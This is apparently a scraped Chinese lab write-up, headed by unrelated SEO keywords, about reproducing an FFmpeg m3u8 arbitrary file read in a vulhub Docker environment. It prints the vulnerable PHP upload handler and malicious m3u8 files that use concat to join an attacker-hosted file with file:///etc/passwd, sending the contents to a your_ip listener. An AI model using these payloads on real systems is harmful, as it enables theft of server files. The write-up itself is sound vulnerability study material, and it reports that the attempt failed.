即刻搜索收录网站,嘉兴模板建站定制网站,网络工程师和做网站哪个难,阳新县建设局网站漏洞描述
影响范围
FFmpeg 2.8.x 2.8.5FFmpeg 2.7.x 2.7.5FFmpeg 2.6.x 2.6.7FFmpeg 2.5.x 2.5.10
漏洞环境及利用
搭建docker环境 访问8080端口看到上传界面 由于vulhub并没有讲述该漏洞如何复现#xff0c;我们需要进入环境查看源码 ?php if(!…漏洞描述
影响范围
FFmpeg 2.8.x 2.8.5FFmpeg 2.7.x 2.7.5FFmpeg 2.6.x 2.6.7FFmpeg 2.5.x 2.5.10
漏洞环境及利用
搭建docker环境 访问8080端口看到上传界面 由于vulhub并没有讲述该漏洞如何复现我们需要进入环境查看源码 ?php if(!empty($_FILES)) { $filename escapeshellarg($_FILES[file][tmp_name]); $newname ./ . uniqid() . .mp4; shell_exec(ffmpeg -i $filename $newname); } ? 可以看到就是调用了ffmpeg这个工具来处理文件 这是一个恶意请求的m3u8文件 #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://your_ip:9999/test.txt #EXT-X-ENDLIST 文件格式如下 #EXTM3U 标签是 m3u8 的文件头开头必须要这一行 #EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号相邻之间序号1 #EXTINF:10.0, 表示该一段 TS 流文件的长度 #EXT-X-ENDLIST 这个相当于文件结束符 这些是 m3u8 的最基本的标签而问题就出在 FFMpeg 去请求 TS 流文件URL时FFMpeg 不会判断里面的流地址直接请求。所以我们可以试想用FFMpeg内自带的concat函数将一个不包含文件结束符的文件与file协议读取的文件衔接起来请求回攻击机就能够达到读取任意文件的效果
漏洞复现 首先我们需要在 web 服务器上创建一个 back.txt文件内容是 m3u8 的格式其中不包含文件结束符。 其次我们再创建一个恶意的 m3u8 文件文件内容通过 concat 拼接本地文件/etc/passwd。 最后我们上传这个恶意的 m3u8 文件。 back.txt #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://your_ip:9999/? upload.m3u8: #EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://your_ip/back.txt|file:///etc/passwd #EXT-X-ENDLIST Tip: 以上的文件需要使用记事本编辑保存选择默认 utf-8 格式。使用vim来编译可能会导致复现失败。
使用python来搭建一个简易的web将back.txt部署到web上。 python2 -m SimpleHTTPServer 8888 或 python3 -m http.server 8888 上传恶意m3u8文件并监听9999端口 复现失败了